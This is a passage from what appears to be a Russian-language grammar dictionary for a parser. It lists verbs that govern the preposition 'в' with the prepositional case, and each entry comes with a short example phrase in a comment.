сплетничают в комнате rus_verbs:раздевать{}, // раздевать в кабинке rus_verbs:окопаться{}, // окопаться в лесу rus_verbs:загорать{}, // загорать в Испании rus_verbs:подпевать{}, // подпевать в церковном хоре rus_verbs:прожужжать{}, // прожужжать в динамике rus_verbs:изучаться{}, // изучаться в дикой природе rus_verbs:заклубиться{}, // заклубиться в воздухе rus_verbs:подметать{}, // подметать в зале rus_verbs:подозреваться{}, // подозреваться в совершении кражи rus_verbs:обогащать{}, // обогащать в специальном аппарате rus_verbs:издаться{}, // издаться в другом издательстве rus_verbs:справить{}, // справить в кустах нужду rus_verbs:помыться{}, // помыться в бане rus_verbs:проскакивать{}, // проскакивать в словах rus_verbs:попивать{}, // попивать в кафе чай rus_verbs:оформляться{}, // оформляться в регистратуре rus_verbs:чирикать{}, // чирикать в кустах rus_verbs:скупить{}, // скупить в магазинах rus_verbs:переночевать{}, // переночевать в гостинице rus_verbs:концентрироваться{}, // концентрироваться в пробирке rus_verbs:одичать{}, // одичать в лесу rus_verbs:ковырнуть{}, // ковырнуть в ухе rus_verbs:затеплиться{}, // затеплиться в глубине души rus_verbs:разгрести{}, // разгрести в задачах залежи rus_verbs:застопориться{}, // застопориться в начале списка rus_verbs:перечисляться{}, // перечисляться во введении rus_verbs:покататься{}, // покататься в парке аттракционов rus_verbs:изловить{}, // изловить в поле rus_verbs:прославлять{}, // прославлять в стихах rus_verbs:промочить{}, // промочить в луже rus_verbs:поделывать{}, // поделывать в отпуске rus_verbs:просуществовать{}, // просуществовать в первобытном состоянии rus_verbs:подстеречь{}, // подстеречь в подъезде rus_verbs:прикупить{}, // прикупить в магазине rus_verbs:перемешивать{}, // перемешивать в кастрюле rus_verbs:тискать{}, // тискать в углу rus_verbs:купать{}, // купать в теплой водичке rus_verbs:завариться{}, // завариться в стакане rus_verbs:притулиться{}, // притулиться в углу rus_verbs:пострелять{}, // пострелять в тире rus_verbs:навесить{}, // навесить в больнице инфинитив:изолировать{ вид:соверш }, инфинитив:изолировать{ вид:несоверш }, // изолировать в камере глагол:изолировать{ вид:соверш }, глагол:изолировать{ вид:несоверш }, rus_verbs:нежиться{}, // нежится в постельке rus_verbs:притомиться{}, // притомиться в школе rus_verbs:раздвоиться{}, // раздвоиться в глазах rus_verbs:навалить{}, // навалить в углу rus_verbs:замуровать{}, // замуровать в склепе rus_verbs:поселяться{}, // поселяться в кроне дуба rus_verbs:потягиваться{}, // потягиваться в кровати rus_verbs:укачать{}, // укачать в поезде rus_verbs:отлеживаться{}, // отлеживаться в гамаке rus_verbs:разменять{}, // разменять в кассе rus_verbs:прополоскать{}, // прополоскать в чистой теплой воде rus_verbs:ржаветь{}, // ржаветь в воде rus_verbs:уличить{}, // уличить в плагиате rus_verbs:мутиться{}, // мутиться в голове rus_verbs:растворять{}, // растворять в бензоле rus_verbs:двоиться{}, // двоиться в глазах rus_verbs:оговорить{}, // оговорить в договоре rus_verbs:подделать{}, // подделать в документе rus_verbs:зарегистрироваться{}, // зарегистрироваться в социальной сети rus_verbs:растолстеть{}, // растолстеть в талии rus_verbs:повоевать{}, // повоевать в городских условиях rus_verbs:прибраться{}, // гнушаться прибраться в хлеву rus_verbs:поглощаться{}, // поглощаться в металлической фольге rus_verbs:ухать{}, // ухать в лесу rus_verbs:подписываться{}, // подписываться в петиции rus_verbs:покатать{}, // покатать в машинке rus_verbs:излечиться{}, // излечиться в клинике rus_verbs:трепыхаться{}, // трепыхаться в мешке rus_verbs:кипятить{}, // кипятить в кастрюле rus_verbs:понастроить{}, // понастроить в прибрежной зоне rus_verbs:перебывать{}, // перебывать во всех европейских столицах rus_verbs:оглашать{}, // оглашать в итоговой части rus_verbs:преуспевать{}, // преуспевать в новом бизнесе rus_verbs:консультироваться{}, // консультироваться в техподдержке rus_verbs:накапливать{}, // накапливать в печени rus_verbs:перемешать{}, // перемешать в контейнере rus_verbs:наследить{}, // наследить в коридоре rus_verbs:выявиться{}, // выявиться в результе rus_verbs:забулькать{}, // забулькать в болоте rus_verbs:отваривать{}, // отваривать в молоке rus_verbs:запутываться{}, // запутываться в веревках rus_verbs:нагреться{}, // нагреться в микроволновой печке rus_verbs:рыбачить{}, // рыбачить в открытом море rus_verbs:укорениться{}, // укорениться в сознании широких народных масс rus_verbs:умывать{}, // умывать в тазике rus_verbs:защекотать{}, // защекотать в носу rus_verbs:заходиться{}, // заходиться в плаче инфинитив:искупать{ вид:соверш }, инфинитив:искупать{ вид:несоверш }, // искупать в прохладной водичке глагол:искупать{ вид:соверш }, глагол:искупать{ вид:несоверш }, деепричастие:искупав{}, деепричастие:искупая{}, rus_verbs:заморозить{}, // заморозить в холодильнике rus_verbs:закреплять{}, // закреплять в металлическом держателе rus_verbs:расхватать{}, // расхватать в магазине rus_verbs:истязать{}, // истязать в тюремном подвале rus_verbs:заржаветь{}, // заржаветь во влажной атмосфере rus_verbs:обжаривать{}, // обжаривать в подсолнечном масле rus_verbs:умереть{}, // Ты, подлый предатель, умрешь в нищете rus_verbs:подогреть{}, // подогрей в микроволновке rus_verbs:подогревать{}, rus_verbs:затянуть{}, // Кузнечики, сверчки, скрипачи и медведки затянули в траве свою трескучую музыку rus_verbs:проделать{}, // проделать в стене дыру инфинитив:жениться{ вид:соверш }, // жениться в Техасе инфинитив:жениться{ вид:несоверш }, глагол:жениться{ вид:соверш }, глагол:жениться{ вид:несоверш }, деепричастие:женившись{}, деепричастие:женясь{}, прилагательное:женатый{}, прилагательное:женившийся{вид:соверш}, прилагательное:женящийся{}, rus_verbs:всхрапнуть{}, // всхрапнуть во сне rus_verbs:всхрапывать{}, // всхрапывать во сне rus_verbs:ворочаться{}, // Собака ворочается во сне rus_verbs:воссоздаваться{}, // воссоздаваться в памяти rus_verbs:акклиматизироваться{}, // альпинисты готовятся акклиматизироваться в горах инфинитив:атаковать{ вид:несоверш }, // взвод был атакован в лесу инфинитив:атаковать{ вид:соверш }, глагол:атаковать{ вид:несоверш }, глагол:атаковать{ вид:соверш }, прилагательное:атакованный{}, прилагательное:атаковавший{}, прилагательное:атакующий{}, инфинитив:аккумулировать{вид:несоверш}, // энергия была аккумулирована в печени инфинитив:аккумулировать{вид:соверш}, глагол:аккумулировать{вид:несоверш}, глагол:аккумулировать{вид:соверш}, прилагательное:аккумулированный{}, прилагательное:аккумулирующий{}, //прилагательное:аккумулировавший{ вид:несоверш }, прилагательное:аккумулировавший{ вид:соверш }, rus_verbs:врисовывать{}, // врисовывать нового персонажа в анимацию rus_verbs:вырасти{}, // Он вырос в глазах коллег. rus_verbs:иметь{}, // Он всегда имел в резерве острое словцо. rus_verbs:убить{}, // убить в себе зверя инфинитив:абсорбироваться{ вид:соверш }, // жидкость абсорбируется в поглощающей ткани инфинитив:абсорбироваться{ вид:несоверш }, глагол:абсорбироваться{ вид:соверш }, глагол:абсорбироваться{ вид:несоверш }, rus_verbs:поставить{}, // поставить в углу rus_verbs:сжимать{}, // сжимать в кулаке rus_verbs:готовиться{}, // альпинисты готовятся акклиматизироваться в горах rus_verbs:аккумулироваться{}, // энергия аккумулируется в жировых отложениях инфинитив:активизироваться{ вид:несоверш }, // в горах активизировались повстанцы инфинитив:активизироваться{ вид:соверш }, глагол:активизироваться{ вид:несоверш }, глагол:активизироваться{ вид:соверш }, rus_verbs:апробировать{}, // пилот апробировал в ходе испытаний новый режим планера rus_verbs:арестовать{}, // наркодилер был арестован в помещении кафе rus_verbs:базировать{}, // установка будет базирована в лесу rus_verbs:барахтаться{}, // дети барахтались в воде rus_verbs:баррикадироваться{}, // преступники баррикадируются в помещении банка rus_verbs:барствовать{}, // Семен Семенович барствовал в своей деревне rus_verbs:бесчинствовать{}, // Боевики бесчинствовали в захваченном селе rus_verbs:блаженствовать{}, // Воробьи блаженствовали в кроне рябины rus_verbs:блуждать{}, // Туристы блуждали в лесу rus_verbs:брать{}, // Жена берет деньги в тумбочке rus_verbs:бродить{}, // парочки бродили в парке rus_verbs:обойти{}, // Бразилия обошла Россию в рейтинге rus_verbs:задержать{}, // Знаменитый советский фигурист задержан в США rus_verbs:бултыхаться{}, // Ноги бултыхаются в воде rus_verbs:вариться{}, // Курица варится в кастрюле rus_verbs:закончиться{}, // Эта рецессия закончилась в 2003 году rus_verbs:прокручиваться{}, // Ключ прокручивается в замке rus_verbs:прокрутиться{}, // Ключ трижды прокрутился в замке rus_verbs:храниться{}, // Настройки хранятся в текстовом файле rus_verbs:сохраняться{}, // Настройки сохраняются в текстовом файле rus_verbs:витать{}, // Мальчик витает в облаках rus_verbs:владычествовать{}, // Король владычествует в стране rus_verbs:властвовать{}, // Олигархи властвовали в стране rus_verbs:возбудить{}, // возбудить в сердце тоску rus_verbs:возбуждать{}, // возбуждать в сердце тоску rus_verbs:возвыситься{}, // возвыситься в глазах современников rus_verbs:возжечь{}, // возжечь в храме огонь rus_verbs:возжечься{}, // Огонь возжёгся в храме rus_verbs:возжигать{}, // возжигать в храме огонь rus_verbs:возжигаться{}, // Огонь возжигается в храме rus_verbs:вознамериваться{}, // вознамериваться уйти в монастырь rus_verbs:вознамериться{}, // вознамериться уйти в монастырь rus_verbs:возникать{}, // Новые идеи неожиданно возникают в колиной голове rus_verbs:возникнуть{}, // Новые идейки возникли в голове rus_verbs:возродиться{}, // возродиться в новом качестве rus_verbs:возрождать{}, // возрождать в новом качестве rus_verbs:возрождаться{}, // возрождаться в новом амплуа rus_verbs:ворошить{}, // ворошить в камине кочергой золу rus_verbs:воспевать{}, // Поэты воспевают героев в одах rus_verbs:воспеваться{}, // Герои воспеваются в одах поэтами rus_verbs:воспеть{}, // Поэты воспели в этой оде героев rus_verbs:воспретить{}, // воспретить в помещении азартные игры rus_verbs:восславить{}, // Поэты восславили в одах rus_verbs:восславлять{}, // Поэты восславляют в одах rus_verbs:восславляться{}, // Героя восславляются в одах rus_verbs:воссоздать{}, // воссоздает в памяти образ человека rus_verbs:воссоздавать{}, // воссоздать в памяти образ человека rus_verbs:воссоздаться{}, // воссоздаться в памяти rus_verbs:вскипятить{}, // вскипятить в чайнике воду rus_verbs:вскипятиться{}, // вскипятиться в чайнике rus_verbs:встретить{}, // встретить в классе старого приятеля rus_verbs:встретиться{}, // встретиться в классе rus_verbs:встречать{}, // встречать в лесу голодного медведя rus_verbs:встречаться{}, // встречаться в кафе rus_verbs:выбривать{}, // выбривать что-то в подмышках rus_verbs:выбрить{}, // выбрить что-то в паху rus_verbs:вывалять{}, // вывалять кого-то в грязи rus_verbs:вываляться{}, // вываляться в грязи rus_verbs:вываривать{}, // вываривать в молоке rus_verbs:вывариваться{}, // вывариваться в молоке rus_verbs:выварить{}, // выварить в молоке rus_verbs:вывариться{}, // вывариться в молоке rus_verbs:выгрызать{}, // выгрызать в сыре отверствие rus_verbs:выгрызть{}, // выгрызть в сыре отверстие rus_verbs:выгуливать{}, // выгуливать в парке собаку rus_verbs:выгулять{}, // выгулять в парке собаку rus_verbs:выдолбить{}, // выдолбить в стволе углубление rus_verbs:выжить{}, // выжить в пустыне rus_verbs:Выискать{}, // Выискать в программе ошибку rus_verbs:выискаться{}, // Ошибка выискалась в программе rus_verbs:выискивать{}, // выискивать в программе ошибку rus_verbs:выискиваться{}, // выискиваться в программе rus_verbs:выкраивать{}, // выкраивать в расписании время rus_verbs:выкраиваться{}, // выкраиваться в расписании инфинитив:выкупаться{aux stress="в^ыкупаться"}, // выкупаться в озере глагол:выкупаться{вид:соверш}, rus_verbs:выловить{}, // выловить в пруду rus_verbs:вымачивать{}, // вымачивать в молоке rus_verbs:вымачиваться{}, // вымачиваться в молоке rus_verbs:вынюхивать{}, // вынюхивать в траве следы rus_verbs:выпачкать{}, // выпачкать в смоле свою одежду rus_verbs:выпачкаться{}, // выпачкаться в грязи rus_verbs:вырастить{}, // вырастить в теплице ведро огурчиков rus_verbs:выращивать{}, // выращивать в теплице помидоры rus_verbs:выращиваться{}, // выращиваться в теплице rus_verbs:вырыть{}, // вырыть в земле глубокую яму rus_verbs:высадить{}, // высадить в пустынной местности rus_verbs:высадиться{}, // высадиться в пустынной местности rus_verbs:высаживать{}, // высаживать в пустыне rus_verbs:высверливать{}, // высверливать в доске отверствие rus_verbs:высверливаться{}, // высверливаться в стене rus_verbs:высверлить{}, // высверлить в стене отверствие rus_verbs:высверлиться{}, // высверлиться в стене rus_verbs:выскоблить{}, // выскоблить в столешнице канавку rus_verbs:высматривать{}, // высматривать в темноте rus_verbs:заметить{}, // заметить в помещении rus_verbs:оказаться{}, // оказаться в первых рядах rus_verbs:душить{}, // душить в объятиях rus_verbs:оставаться{}, // оставаться в классе rus_verbs:появиться{}, // впервые появиться в фильме rus_verbs:лежать{}, // лежать в футляре rus_verbs:раздаться{}, // раздаться в плечах rus_verbs:ждать{}, // ждать в здании вокзала rus_verbs:жить{}, // жить в трущобах rus_verbs:постелить{}, // постелить в прихожей rus_verbs:оказываться{}, // оказываться в неприятной ситуации rus_verbs:держать{}, // держать в голове rus_verbs:обнаружить{}, // обнаружить в себе способность rus_verbs:начинать{}, // начинать в лаборатории rus_verbs:рассказывать{}, // рассказывать в лицах rus_verbs:ожидать{}, // ожидать в помещении rus_verbs:продолжить{}, // продолжить в помещении rus_verbs:состоять{}, // состоять в группе rus_verbs:родиться{}, // родиться в рубашке rus_verbs:искать{}, // искать в кармане rus_verbs:иметься{}, // иметься в наличии rus_verbs:говориться{}, // говориться в среде панков rus_verbs:клясться{}, // клясться в верности rus_verbs:узнавать{}, // узнавать в нем своего сына rus_verbs:признаться{}, // признаться в ошибке rus_verbs:сомневаться{}, // сомневаться в искренности rus_verbs:толочь{}, // толочь в ступе rus_verbs:понадобиться{}, // понадобиться в суде rus_verbs:служить{}, // служить в пехоте rus_verbs:потолочь{}, // потолочь в ступе rus_verbs:появляться{}, // появляться в театре rus_verbs:сжать{}, // сжать в объятиях rus_verbs:действовать{}, // действовать в постановке rus_verbs:селить{}, // селить в гостинице rus_verbs:поймать{}, // поймать в лесу rus_verbs:увидать{}, // увидать в толпе rus_verbs:подождать{}, // подождать в кабинете rus_verbs:прочесть{}, // прочесть в глазах rus_verbs:тонуть{}, // тонуть в реке rus_verbs:ощущать{}, // ощущать в животе rus_verbs:ошибиться{}, // ошибиться в расчетах rus_verbs:отметить{}, // отметить в списке rus_verbs:показывать{}, // показывать в динамике rus_verbs:скрыться{}, // скрыться в траве rus_verbs:убедиться{}, // убедиться в корректности rus_verbs:прозвучать{}, // прозвучать в наушниках rus_verbs:разговаривать{}, // разговаривать в фойе rus_verbs:издать{}, // издать в России rus_verbs:прочитать{}, // прочитать в газете rus_verbs:попробовать{}, // попробовать в деле rus_verbs:замечать{}, // замечать в программе ошибку rus_verbs:нести{}, // нести в руках rus_verbs:пропасть{}, // пропасть в плену rus_verbs:носить{}, // носить в кармане rus_verbs:гореть{}, // гореть в аду rus_verbs:поправить{}, // поправить в программе rus_verbs:застыть{}, // застыть в неудобной позе rus_verbs:получать{}, // получать в кассе rus_verbs:потребоваться{}, // потребоваться в работе rus_verbs:спрятать{}, // спрятать в шкафу rus_verbs:учиться{}, // учиться в институте rus_verbs:развернуться{}, // развернуться в коридоре rus_verbs:подозревать{}, // подозревать в мошенничестве rus_verbs:играть{}, // играть в команде rus_verbs:сыграть{}, // сыграть в команде rus_verbs:строить{}, // строить в деревне rus_verbs:устроить{}, // устроить в доме вечеринку rus_verbs:находить{}, // находить в лесу rus_verbs:нуждаться{}, // нуждаться в деньгах rus_verbs:испытать{}, // испытать в рабочей обстановке rus_verbs:мелькнуть{}, // мелькнуть в прицеле rus_verbs:очутиться{}, // очутиться в закрытом помещении инфинитив:использовать{вид:соверш}, // использовать в работе инфинитив:использовать{вид:несоверш}, глагол:использовать{вид:несоверш}, глагол:использовать{вид:соверш}, rus_verbs:лететь{}, // лететь в самолете rus_verbs:смеяться{}, // смеяться в цирке rus_verbs:ездить{}, // ездить в лимузине rus_verbs:заснуть{}, // заснуть в неудобной позе rus_verbs:застать{}, // застать в неформальной обстановке rus_verbs:очнуться{}, // очнуться в незнакомой обстановке rus_verbs:твориться{}, // Что творится в закрытой зоне rus_verbs:разглядеть{}, // разглядеть в темноте rus_verbs:изучать{}, // изучать в естественных условиях rus_verbs:удержаться{}, // удержаться в седле rus_verbs:побывать{}, // побывать в зоопарке rus_verbs:уловить{}, // уловить в словах нотку отчаяния rus_verbs:приобрести{}, // приобрести в лавке rus_verbs:исчезать{}, // исчезать в тумане rus_verbs:уверять{}, // уверять в своей невиновности rus_verbs:продолжаться{}, // продолжаться в воздухе rus_verbs:открывать{}, // открывать в городе новый стадион rus_verbs:поддержать{}, // поддержать в парке порядок rus_verbs:солить{}, // солить в бочке rus_verbs:прожить{}, // прожить в деревне rus_verbs:создавать{}, // создавать в театре rus_verbs:обсуждать{}, // обсуждать в коллективе rus_verbs:заказать{}, // заказать в магазине rus_verbs:отыскать{}, // отыскать в гараже rus_verbs:уснуть{}, // уснуть в кресле rus_verbs:задержаться{}, // задержаться в театре rus_verbs:подобрать{}, // подобрать в коллекции rus_verbs:пробовать{}, // пробовать в работе rus_verbs:курить{}, // курить в закрытом помещении rus_verbs:устраивать{}, // устраивать в лесу засаду rus_verbs:установить{}, // установить в багажнике rus_verbs:запереть{}, // запереть в сарае rus_verbs:содержать{}, // содержать в достатке rus_verbs:синеть{}, // синеть в кислородной атмосфере rus_verbs:слышаться{}, // слышаться в голосе rus_verbs:закрыться{}, // закрыться в здании rus_verbs:скрываться{}, // скрываться в квартире rus_verbs:родить{}, // родить в больнице rus_verbs:описать{}, // описать в заметках rus_verbs:перехватить{}, // перехватить в коридоре rus_verbs:менять{}, // менять в магазине rus_verbs:скрывать{}, // скрывать в чужой квартире rus_verbs:стиснуть{}, // стиснуть в стальных объятиях rus_verbs:останавливаться{}, // останавливаться в гостинице rus_verbs:мелькать{}, // мелькать в телевизоре rus_verbs:присутствовать{}, // присутствовать в аудитории rus_verbs:украсть{}, // украсть в магазине rus_verbs:победить{}, // победить в войне rus_verbs:расположиться{}, // расположиться в гостинице rus_verbs:упомянуть{}, // упомянуть в своей книге rus_verbs:плыть{}, // плыть в старой бочке rus_verbs:нащупать{}, // нащупать в глубине rus_verbs:проявляться{}, // проявляться в работе rus_verbs:затихнуть{}, // затихнуть в норе rus_verbs:построить{}, // построить в гараже rus_verbs:поддерживать{}, // поддерживать в исправном состоянии rus_verbs:заработать{}, // заработать в стартапе rus_verbs:сломать{}, // сломать в суставе rus_verbs:снимать{}, // снимать в гардеробе rus_verbs:сохранить{}, // сохранить в коллекции rus_verbs:располагаться{}, // располагаться в отдельном кабинете rus_verbs:сражаться{}, // сражаться в честном бою rus_verbs:спускаться{}, // спускаться в батискафе rus_verbs:уничтожить{}, // уничтожить в схроне rus_verbs:изучить{}, // изучить в естественных условиях rus_verbs:рождаться{}, // рождаться в муках rus_verbs:пребывать{}, // пребывать в прострации rus_verbs:прилететь{}, // прилететь в аэробусе rus_verbs:догнать{}, // догнать в переулке rus_verbs:изобразить{}, // изобразить в танце rus_verbs:проехать{}, // проехать в легковушке rus_verbs:убедить{}, // убедить в разумности rus_verbs:приготовить{}, // приготовить в духовке rus_verbs:собирать{}, // собирать в лесу rus_verbs:поплыть{}, // поплыть в катере rus_verbs:доверять{}, // доверять в управлении rus_verbs:разобраться{}, // разобраться в законах rus_verbs:ловить{}, // ловить в озере rus_verbs:проесть{}, // проесть в куске металла отверстие rus_verbs:спрятаться{}, // спрятаться в подвале rus_verbs:провозгласить{}, // провозгласить в речи rus_verbs:изложить{}, // изложить в своём выступлении rus_verbs:замяться{}, // замяться в коридоре rus_verbs:раздаваться{}, // Крик ягуара раздается в джунглях rus_verbs:доказать{}, // Автор доказал в своей работе, что теорема верна rus_verbs:хранить{}, // хранить в шкатулке rus_verbs:шутить{}, // шутить в классе глагол:рассыпаться{ aux stress="рассып^аться" }, // рассыпаться в извинениях инфинитив:рассыпаться{ aux stress="рассып^аться" }, rus_verbs:чертить{}, // чертить в тетрадке rus_verbs:отразиться{}, // отразиться в аттестате rus_verbs:греть{}, // греть в микроволновке rus_verbs:зарычать{}, // Кто-то зарычал в глубине леса rus_verbs:рассуждать{}, // Автор рассуждает в своей статье rus_verbs:освободить{}, // Обвиняемые были освобождены в зале суда rus_verbs:окружать{}, // окружать в лесу rus_verbs:сопровождать{}, // сопровождать в операции rus_verbs:заканчиваться{}, // заканчиваться в дороге rus_verbs:поселиться{}, // поселиться в загородном доме rus_verbs:охватывать{}, // охватывать в хронологии rus_verbs:запеть{}, // запеть в кино инфинитив:провозить{вид:несоверш}, // провозить в багаже глагол:провозить{вид:несоверш}, rus_verbs:мочить{}, // мочить в сортире rus_verbs:перевернуться{}, // перевернуться в полёте rus_verbs:улететь{}, // улететь в теплые края rus_verbs:сдержать{}, // сдержать в руках rus_verbs:преследовать{}, // преследовать в любой другой стране rus_verbs:драться{}, // драться в баре rus_verbs:просидеть{}, // просидеть в классе rus_verbs:убираться{}, // убираться в квартире rus_verbs:содрогнуться{}, // содрогнуться в приступе отвращения rus_verbs:пугать{}, // пугать в прессе rus_verbs:отреагировать{}, // отреагировать в прессе rus_verbs:проверять{}, // проверять в аппарате rus_verbs:убеждать{}, // убеждать в отсутствии альтернатив rus_verbs:летать{}, // летать в комфортабельном частном самолёте rus_verbs:толпиться{}, // толпиться в фойе rus_verbs:плавать{}, // плавать в специальном костюме rus_verbs:пробыть{}, // пробыть в воде слишком долго rus_verbs:прикинуть{}, // прикинуть в уме rus_verbs:застрять{}, // застрять в лифте rus_verbs:метаться{}, // метаться в кровате rus_verbs:сжечь{}, // сжечь в печке rus_verbs:расслабиться{}, // расслабиться в ванной rus_verbs:услыхать{}, // услыхать в автобусе rus_verbs:удержать{}, // удержать в вертикальном положении rus_verbs:образоваться{}, // образоваться в верхних слоях атмосферы rus_verbs:рассмотреть{}, // рассмотреть в капле воды rus_verbs:просмотреть{}, // просмотреть в браузере rus_verbs:учесть{}, // учесть в планах rus_verbs:уезжать{}, // уезжать в чьей-то машине rus_verbs:похоронить{}, // похоронить в мерзлой земле rus_verbs:растянуться{}, // растянуться в расслабленной позе rus_verbs:обнаружиться{}, // обнаружиться в чужой сумке rus_verbs:гулять{}, // гулять в парке rus_verbs:утонуть{}, // утонуть в реке rus_verbs:зажать{}, // зажать в медвежьих объятиях rus_verbs:усомниться{}, // усомниться в объективности rus_verbs:танцевать{}, // танцевать в спортзале rus_verbs:проноситься{}, // проноситься в голове rus_verbs:трудиться{}, // трудиться в кооперативе глагол:засыпать{ aux stress="засып^ать" переходность:непереходный }, // засыпать в спальном мешке инфинитив:засыпать{ aux stress="засып^ать" переходность:непереходный }, rus_verbs:сушить{}, // сушить в сушильном шкафу rus_verbs:зашевелиться{}, // зашевелиться в траве rus_verbs:обдумывать{}, // обдумывать в спокойной обстановке rus_verbs:промелькнуть{}, // промелькнуть в окне rus_verbs:поучаствовать{}, // поучаствовать в обсуждении rus_verbs:закрыть{}, // закрыть в комнате rus_verbs:запирать{}, // запирать в комнате rus_verbs:закрывать{}, // закрывать в доме rus_verbs:заблокировать{}, // заблокировать в доме rus_verbs:зацвести{}, // В садах зацвела сирень rus_verbs:кричать{}, // Какое-то животное кричало в ночном лесу. rus_verbs:поглотить{}, // фотон, поглощенный в рецепторе rus_verbs:стоять{}, // войска, стоявшие в Риме rus_verbs:закалить{}, // ветераны, закаленные в боях rus_verbs:выступать{}, // пришлось выступать в тюрьме. rus_verbs:выступить{}, // пришлось выступить в тюрьме. rus_verbs:закопошиться{}, // Мыши закопошились в траве rus_verbs:воспламениться{}, // смесь, воспламенившаяся в цилиндре rus_verbs:воспламеняться{}, // смесь, воспламеняющаяся в цилиндре rus_verbs:закрываться{}, // закрываться в комнате rus_verbs:провалиться{}, // провалиться в прокате деепричастие:авторизируясь{ вид:несоверш }, глагол:авторизироваться{ вид:несоверш }, инфинитив:авторизироваться{ вид:несоверш }, // авторизироваться в системе rus_verbs:существовать{}, // существовать в вакууме деепричастие:находясь{}, прилагательное:находившийся{}, прилагательное:находящийся{}, глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, // находиться в вакууме rus_verbs:регистрировать{}, // регистрировать в инспекции глагол:перерегистрировать{ вид:несоверш }, глагол:перерегистрировать{ вид:соверш }, инфинитив:перерегистрировать{ вид:несоверш }, инфинитив:перерегистрировать{ вид:соверш }, // перерегистрировать в инспекции rus_verbs:поковыряться{}, // поковыряться в носу rus_verbs:оттаять{}, // оттаять в кипятке rus_verbs:распинаться{}, // распинаться в проклятиях rus_verbs:отменить{}, // Министерство связи предлагает отменить внутренний роуминг в России rus_verbs:столкнуться{}, // Американский эсминец и японский танкер столкнулись в Персидском заливе rus_verbs:ценить{}, // Он очень ценил в статьях краткость изложения. прилагательное:несчастный{}, // Он очень несчастен в семейной жизни. rus_verbs:объясниться{}, // Он объяснился в любви. прилагательное:нетвердый{}, // Он нетвёрд в истории. rus_verbs:заниматься{}, // Он занимается в читальном зале. rus_verbs:вращаться{}, // Он вращается в учёных кругах. прилагательное:спокойный{}, // Он был спокоен и уверен в завтрашнем дне. rus_verbs:бегать{}, // Он бегал по городу в поисках квартиры. rus_verbs:заключать{}, // Письмо заключало в себе очень важные сведения. rus_verbs:срабатывать{}, // Алгоритм срабатывает в половине случаев. rus_verbs:специализироваться{}, // мы специализируемся в создании ядерного оружия rus_verbs:сравниться{}, // Никто не может сравниться с ним в знаниях. rus_verbs:продолжать{}, // Продолжайте в том же духе. rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц. rus_verbs:болтать{}, // Не болтай в присутствии начальника! rus_verbs:проболтаться{}, // Не проболтайся в присутствии начальника! rus_verbs:повторить{}, // Он должен повторить свои показания в присутствии свидетелей rus_verbs:получить{}, // ректор поздравил студентов, получивших в этом семестре повышенную стипендию rus_verbs:приобретать{}, // Эту еду мы приобретаем в соседнем магазине. rus_verbs:расходиться{}, // Маша и Петя расходятся во взглядах rus_verbs:сходиться{}, // Все дороги сходятся в Москве rus_verbs:убирать{}, // убирать в комнате rus_verbs:удостоверяться{}, // он удостоверяется в личности специалиста rus_verbs:уединяться{}, // уединяться в пустыне rus_verbs:уживаться{}, // уживаться в одном коллективе rus_verbs:укорять{}, // укорять друга в забывчивости rus_verbs:читать{}, // он читал об этом в журнале rus_verbs:состояться{}, // В Израиле состоятся досрочные парламентские выборы rus_verbs:погибнуть{}, // Список погибших в авиакатастрофе под Ярославлем rus_verbs:работать{}, // Я работаю в театре. rus_verbs:признать{}, // Я признал в нём старого друга. rus_verbs:преподавать{}, // Я преподаю в университете. rus_verbs:понимать{}, // Я плохо понимаю в живописи. rus_verbs:водиться{}, // неизвестный науке зверь, который водится в жарких тропических лесах rus_verbs:разразиться{}, // В Москве разразилась эпидемия гриппа rus_verbs:замереть{}, // вся толпа замерла в восхищении rus_verbs:сидеть{}, // Я люблю сидеть в этом удобном кресле. rus_verbs:идти{}, // Я иду в неопределённом направлении. rus_verbs:заболеть{}, // Я заболел в дороге. rus_verbs:ехать{}, // Я еду в автобусе rus_verbs:взять{}, // Я взял книгу в библиотеке на неделю. rus_verbs:провести{}, // Юные годы он провёл в Италии. rus_verbs:вставать{}, // Этот случай живо встаёт в моей памяти. rus_verbs:возвысить{}, // Это событие возвысило его в общественном мнении. rus_verbs:произойти{}, // Это произошло в одном городе в Японии. rus_verbs:привидеться{}, // Это мне привиделось во сне. rus_verbs:держаться{}, // Это дело держится в большом секрете. rus_verbs:привиться{}, // Это выражение не привилось в русском языке. rus_verbs:восстановиться{}, // Эти писатели восстановились в правах. rus_verbs:быть{}, // Эта книга есть в любом книжном магазине. прилагательное:популярный{}, // Эта идея очень популярна в массах. rus_verbs:шуметь{}, // Шумит в голове. rus_verbs:остаться{}, // Шляпа осталась в поезде. rus_verbs:выражаться{}, // Характер писателя лучше всего выражается в его произведениях. rus_verbs:воспитать{}, // Учительница воспитала в детях любовь к природе. rus_verbs:пересохнуть{}, // У меня в горле пересохло. rus_verbs:щекотать{}, // У меня в горле щекочет. rus_verbs:колоть{}, // У меня в боку колет. прилагательное:свежий{}, // Событие ещё свежо в памяти. rus_verbs:собрать{}, // Соберите всех учеников во дворе. rus_verbs:белеть{}, // Снег белеет в горах. rus_verbs:сделать{}, // Сколько орфографических ошибок ты сделал в диктанте? rus_verbs:таять{}, // Сахар тает в кипятке. rus_verbs:жать{}, // Сапог жмёт в подъёме. rus_verbs:возиться{}, // Ребята возятся в углу. rus_verbs:распоряжаться{}, // Прошу не распоряжаться в чужом доме. rus_verbs:кружиться{}, // Они кружились в вальсе. rus_verbs:выставлять{}, // Они выставляют его в смешном виде. rus_verbs:бывать{}, // Она часто бывает в обществе. rus_verbs:петь{}, // Она поёт в опере. rus_verbs:сойтись{}, // Все свидетели сошлись в своих показаниях. rus_verbs:валяться{}, // Вещи валялись в беспорядке. rus_verbs:пройти{}, // Весь день прошёл в беготне. rus_verbs:продавать{}, // В этом магазине продают обувь. rus_verbs:заключаться{}, // В этом заключается вся сущность. rus_verbs:звенеть{}, // В ушах звенит. rus_verbs:проступить{}, // В тумане проступили очертания корабля. rus_verbs:бить{}, // В саду бьёт фонтан. rus_verbs:проскользнуть{}, // В речи проскользнул упрёк. rus_verbs:оставить{}, // Не оставь товарища в опасности. rus_verbs:прогулять{}, // Мы прогуляли час в парке. rus_verbs:перебить{}, // Мы перебили врагов в бою. rus_verbs:остановиться{}, // Мы остановились в первой попавшейся гостинице. rus_verbs:видеть{}, // Он многое видел в жизни. // глагол:проходить{ вид:несоверш }, // Беседа проходила в дружественной атмосфере. rus_verbs:подать{}, // Автор подал своих героев в реалистических тонах. rus_verbs:кинуть{}, // Он кинул меня в беде. rus_verbs:приходить{}, // Приходи в сентябре rus_verbs:воскрешать{}, // воскрешать в памяти 